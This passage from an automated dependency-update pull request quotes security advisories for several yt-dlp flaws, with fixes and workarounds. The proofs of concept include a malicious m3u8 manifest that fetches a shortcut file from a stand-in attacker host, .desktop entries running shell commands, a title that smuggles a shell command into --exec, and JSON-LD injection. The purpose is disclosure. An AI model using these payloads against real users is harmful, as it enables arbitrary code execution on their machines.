`.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI="http://attacker/x.desktop"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option. Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution. ##### Proof of Concept **1. Start a malicious server:** Host a malicious `master.m3u8` manifest that points to malicious subtitle payloads: ```m3u8 #EXTM3U #EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en" ``` And host the `payload.desktop` file with malicious content: ```ini [Desktop Entry] Type=Application Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)" Name=Subtitle ``` **2. Trigger the download:** In this case, the generic extractor triggers the exploit if the `--write-subs` option is used: ```bash yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8" ``` **Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload. ##### Patches yt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options' functionality. ##### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. Users who are not able to upgrade should do ALL of the following: - Only pass fully **trusted** input URLs to yt-dlp - Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options - Use `--format -` to interactively select download formats and validate their file extensions #### Severity - CVSS Score: 8.3 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H` #### References - [https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3](https://redirect.github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3) - [https://nvd.nist.gov/vuln/detail/CVE-2024-38519](https://nvd.nist.gov/vuln/detail/CVE-2024-38519) - [https://github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a](https://redirect.github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a) - [https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517](https://redirect.github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517) - [https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09](https://redirect.github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50023](https://nvd.nist.gov/vuln/detail/CVE-2026-50023) - [https://github.com/advisories/GHSA-c6mh-fpjc-4pr3](https://redirect.github.com/advisories/GHSA-c6mh-fpjc-4pr3) - [https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3430.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3430.yaml) - [https://github.com/yt-dlp/yt-dlp](https://redirect.github.com/yt-dlp/yt-dlp) - [https://pypi.org/project/yt-dlp](https://pypi.org/project/yt-dlp) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-c6mh-fpjc-4pr3) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### yt-dlp: Arbitrary code execution via manifest downloads with aria2c [CVE-2026-50574](https://nvd.nist.gov/vuln/detail/CVE-2026-50574) / [GHSA-vx4q-3cr2-7cg2](https://redirect.github.com/advisories/GHSA-vx4q-3cr2-7cg2) <details> <summary>More information</summary> #### Details ##### Summary If aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp. ##### Details When downloading a fragmented manifest format such as an HLS or DASH stream, yt-dlp first extracts a list of all fragment URLs from the stream's manifest. If the user has selected aria2c as an external downloader, yt-dlp then constructs an input file for aria2c from the fragment URL list and passes its filepath as the argument to aria2c's `-i` option. aria2c's `-i` (or `--input-file`) option allows for downloading a list of URIs from the given text file. The text file must be formatted as a list of URIs separated by newlines. aria2c's format permits configuration lines for each URI, which can contain command-line options to be given to aria2c. These optional lines follow each URI line and are signified only by leading whitespace. yt-dlp constructs the input file with these optional lines so that it's able to specify the output filename for each fragment using the `out=` option. yt-dlp's utilization of the aria2c input file format presents two known attack vectors: 1. An attacker can craft a malicious DASH manifest with one or more fragment URLs that contain `&#&#8203;10;`, which is the HTML escape sequence for a newline. yt-dlp interprets this escape sequence as an actual newline character when writing the fragment URLs to the aria2c input file, which allows for an attacker to inject arbitrary aria2c options into the input file. With option injection, the attacker can achieve arbitrary file writes. This attack vector is possible only via downloads of DASH formats, since their manifests are an XML format which necessitates unescaping of HTML special characters. 2. An attacker can craft a malicious metadata response where the data parsed by yt-dlp as the `title` field (or any other metadata field that the user includes in their output template) contains strategically placed newlines and magnet URIs. If the user has passed the `--no-windows-filename` option to disable sanitization of newlines in output filenames, the attacker is able to achieve arbitrary file writes by injecting arbitrary URIs and options into the aria2c input file. This attack vector is possible via downloads of both HLS and DASH formats. On Windows, attacker-controlled file writes can lead to immediate arbitrary code execution: the attacker could write a malicious executable file named `ffmpeg.exe` to the current working directory, and it could be invoked during the postprocessing stage if the user's `yt-dlp.exe` also resides in the current working directory. On all platforms, attacker-controlled file writes can lead to arbitrary code execution on repeat invocations of yt-dlp: the attacker could write a yt-dlp configuration file (`yt-dlp.conf`) to the current working directory containing a malicious `--exec` argument. ##### Patches yt-dlp version 2026.06.09 fixes this issue by removing support for downloading fragmented manifest formats with aria2c. ##### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. For users who are not able to upgrade: - Add `--downloader dash,m3u8:native` to your yt-dlp command. #### Severity - CVSS Score: 8.3 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H` #### References - [https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-vx4q-3cr2-7cg2](https://redirect.github.com/yt-dlp/yt-dlp/security/advisories/GHSA-vx4q-3cr2-7cg2) - [https://github.com/yt-dlp/yt-dlp/commit/25056f0d2d47adbd235a8d422fa62d68d0be2bc2](https://redirect.github.com/yt-dlp/yt-dlp/commit/25056f0d2d47adbd235a8d422fa62d68d0be2bc2) - [https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517](https://redirect.github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517) - [https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09](https://redirect.github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50574](https://nvd.nist.gov/vuln/detail/CVE-2026-50574) - [https://github.com/advisories/GHSA-vx4q-3cr2-7cg2](https://redirect.github.com/advisories/GHSA-vx4q-3cr2-7cg2) - [https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3433.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3433.yaml) - [https://github.com/yt-dlp/yt-dlp](https://redirect.github.com/yt-dlp/yt-dlp) - [https://pypi.org/project/yt-dlp](https://pypi.org/project/yt-dlp) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-vx4q-3cr2-7cg2) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp [GHSA-69qj-pvh9-c5wg](https://redirect.github.com/advisories/GHSA-69qj-pvh9-c5wg) <details> <summary>More information</summary> #### Details ##### Summary yt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters. ##### Details Since yt-dlp version 2021.04.11, the `--exec` option has supported "output template syntax", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a "command template" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string. yt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `&`, `|`) to break out of the intended command and execute payload commands. ##### Impact The impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.) ##### Patches yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax. ##### Workarounds This vulnerability can be fully mitigated by doing any of the following: - Upgrade yt-dlp to version 2026.06.09 or later - Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates - Do not use "output template syntax" in any `--exec` arguments - Do not use the `--exec` option ##### Proof-of-Concept 1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #` 2. The victim downloads this video using yt-dlp with the `--exec` flag. Reproduction steps (simulated): 1. Create a python script poc.py to simulate the internal behavior: ```bash import unittest import os from yt_dlp.postprocessor.exec import ExecPP from yt_dlp.YoutubeDL import YoutubeDL from yt_dlp.utils import PostProcessingError ##### Import Popen to use the REAL one for the PoC (to actually create the file) from yt_dlp.utils import Popen as RealPopen class TestDemonstrativePoC(unittest.TestCase): FILE_NAME = "PWNED.txt" def setUp(self): # Remove the file if it exists if os.path.exists(self.FILE_NAME): os.remove(self.FILE_NAME) def test_1_demonstrate_vulnerability_simulated(self): """ Simulates the code BEFORE the fix to show what would happen. """ print("\n--- TEST 1: Simulating vulnerable state ---") # 1. Define the vulnerable Parse Method def vulnerable_parse_cmd(self, cmd, info): # This mimics the code before my patch tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info) if tmpl_dict: return self._downloader.escape_outtmpl(tmpl) % tmpl_dict return cmd # 2. Patch the class temporarily original_parse_cmd = ExecPP.parse_cmd ExecPP.parse_cmd = vulnerable_parse_cmd info = { 'id': '1234', # MALICIOUS TITLE: # 1. 'video' gets echoed # 2. ; separator # 3. touch PWNED.txt creates the file # 4. # comments out the rest 'title': f'video; touch {self.FILE_NAME} #', 'ext': 'mp4', 'filepath': 'video.mp4' } ydl = YoutubeDL({'verbose': False, 'quiet': True}) try: print(f"[*] Payload Title: {info['title']}") print("[*] Executing: echo %(title)s") # Use the REAL Popen to actually execute shell commands import yt_dlp.postprocessor.exec original_popen_ref = yt_dlp.postprocessor.exec.Popen yt_dlp.postprocessor.exec.Popen = RealPopen pp = ExecPP(ydl, 'echo %(title)s') pp.run(info) # Restore Popen ref yt_dlp.postprocessor.exec.Popen = original_popen_ref # Check if file was created if os.path.exists(self.FILE_NAME): print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!") else: print("[?] File not created. Payload might have failed.") finally: # Restore the secure method ExecPP.parse_cmd = original_parse_cmd if __name__ == '__main__': unittest.main() ``` 2. Run the script: `python3 poc.py` 3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution. <img width="1386" height="757" alt="poc" src="https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08" /> #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-69qj-pvh9-c5wg](https://redirect.github.com/yt-dlp/yt-dlp/security/advisories/GHSA-69qj-pvh9-c5wg) - [https://github.com/yt-dlp/yt-dlp/pull/16883](https://redirect.github.com/yt-dlp/yt-dlp/pull/16883) - [https://github.com/yt-dlp/yt-dlp/commit/5faffa999fd33b373d47773e8ee639d072accec2](https://redirect.github.com/yt-dlp/yt-dlp/commit/5faffa999fd33b373d47773e8ee639d072accec2) - [https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.06.234447](https://redirect.github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.06.234447) - [https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09](https://redirect.github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09) - [https://github.com/advisories/GHSA-69qj-pvh9-c5wg](https://redirect.github.com/advisories/GHSA-69qj-pvh9-c5wg) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-69qj-pvh9-c5wg) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output [CVE-2026-55404](https://nvd.nist.gov/vuln/detail/CVE-2026-55404) / [GHSA-6v4j-43gg-vj32](https://redirect.github.com/advisories/GHSA-6v4j-43gg-vj32) <details> <summary>More information</summary> #### Details ##### Summary If the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user's system if the user executes the generated `.url` or `.desktop` files. ##### Details The expected result of yt-dlp's `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user's platform. There are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp's improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files. ##### Scenario 1: `file://` URI injection in Windows `.url` shortcut If a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media's metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file. This lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user's system. ##### Scenario 2: Shell command injection in Linux `.desktop` shortcut The Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org "desktop entry" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below: ```desktop [Desktop Entry] Encoding=UTF-8 Name=%(filename)s Type=Link URL=%(url)s Icon=text-html ``` The keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key. If a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. If the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection. For example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data: ```html <html> <script type="application/ld+json">{ "@context": "https://schema.org", "@type": "VideoObject", "name":"Stream\nType=Application\nExec=sh -c &quot;touch /tmp/pwned&quot;\n\n[newgroup]\nName=endtitle", "contentUrl": "https://example.org/video.mp4" }</script> </html> ``` Then, a yt-dlp user could try to download the legitimate video content from the page by running the following command: ```bash yt-dlp --write-desktop-link --no-windows-filenames "https://example.org/123" ``` Which would result in a desktop entry file containing a malicious shell command: ```desktop [Desktop Entry] Encoding=UTF-8 Name=Stream Type=Application Exec=sh -c "touch /tmp/pwned" [newgroup] Name=endtitle [123] Type=Link URL=%(url)s Icon=text-html ``` If a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user's system. (In the above example, a `/tmp/pwned` file would be created in the user's filesystem.) ##### Patches yt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.) ##### Workarounds It is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible. Users who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32](https://redirect.github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55404](https://nvd.nist.gov/vuln/detail/CVE-2026-55404) - [https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796](https://redirect.github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796) - [https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789](https://redirect.github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789) - [https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833](https://redirect.github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833) - [https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04](https://redirect.github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04) - [https://github.com/advisories/GHSA-6v4j-43gg-vj32](https://redirect.github.com/advisories/GHSA-6v4j-43gg-vj32) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-6v4j-43gg-vj32) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>yt-dlp/yt-dlp (yt-dlp)</summary> ### [`v2026.7.4`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.06.09...2026.07.04) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.06.09...2026.07.04) ### [`v2026.6.9`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.03.17...2026.06.09) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.03.17...2026.06.09) ### [`v2026.3.17`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.03.13...2026.03.17) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.03.13...2026.03.17) ### [`v2026.3.13`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.03.03...2026.03.13) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.03.03...2026.03.13) ### [`v2026.3.3`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.02.21...2026.03.03) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.02.21...2026.03.03) ### [`v2026.2.21`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.02.04...2026.02.21) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.02.04...2026.02.21) ### [`v2026.2.4`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.01.31...2026.02.04) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.01.31...2026.02.04) ### [`v2026.1.31`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.01.29...2026.01.31) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2026.01.29...2026.01.31) ### [`v2026.1.29`](https://redirect.github.com/yt-dlp/yt-dlp/compare/2025.12.08...2026.01.29) [Compare Source](https://redirect.github.com/yt-dlp/yt-dlp/compare/2025.12.08...2026.01.29) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Glitchy-Sheep/boosty-downloader). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4zMi4wIiwidXBkYXRlZEluVmVyIjoiNDQuMTEuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==--> --- <sub>🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.</sub>
bsakaguchi 2026-10-13 19:47:20 +00:00
Sign in to join this conversation.
No Branch/Tag specified
Branches Tags
main
renovate/aiohttp-3.x-lockfile
feat/build-stored-post-pages
renovate/python-3.x
fix/weekly-report-downloads
ci/test-matrix-and-canary
release/v4.3.0
fix/gone-external-video
release/v4.2.0
release/v4.1.0
release/v4.0.0
release/v3.8.0
release/v3.7.0
release/v3.6.0
fix/html-render-cleanup
test/golden-fixtures
test/cache-and-filter-units
release/v3.4.0
fix/long-filenames
release/v3.3.0
release/v3.2.0
release/v3.1.0
fix/add-audio-fragments-support
v4.3.0
v4.2.0
v4.1.0
v4.0.0
v3.8.0
v3.7.0
v3.6.0
v3.5.0
v3.4.0
v3.3.0
v3.2.0
v3.1.0
v3.0.0
v2.2.0
v2.1.2
v2.1.1
v2.1.0
v2.0.1
v2.0.0
v1.0.1
1.0.1
1.0.0
Labels
Clear labels   
api-drift

   
bug

   
ci

   
documentation

   
enhancement

   
enhancement

   
pull-request
Mirrored from GitHub Pull Request

No labels
api-drift
bug
ci
documentation
enhancement
enhancement
pull-request
Milestone
Clear milestone
No items
No milestone
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Glitchy-Sheep/boosty-downloader#105
No description provided.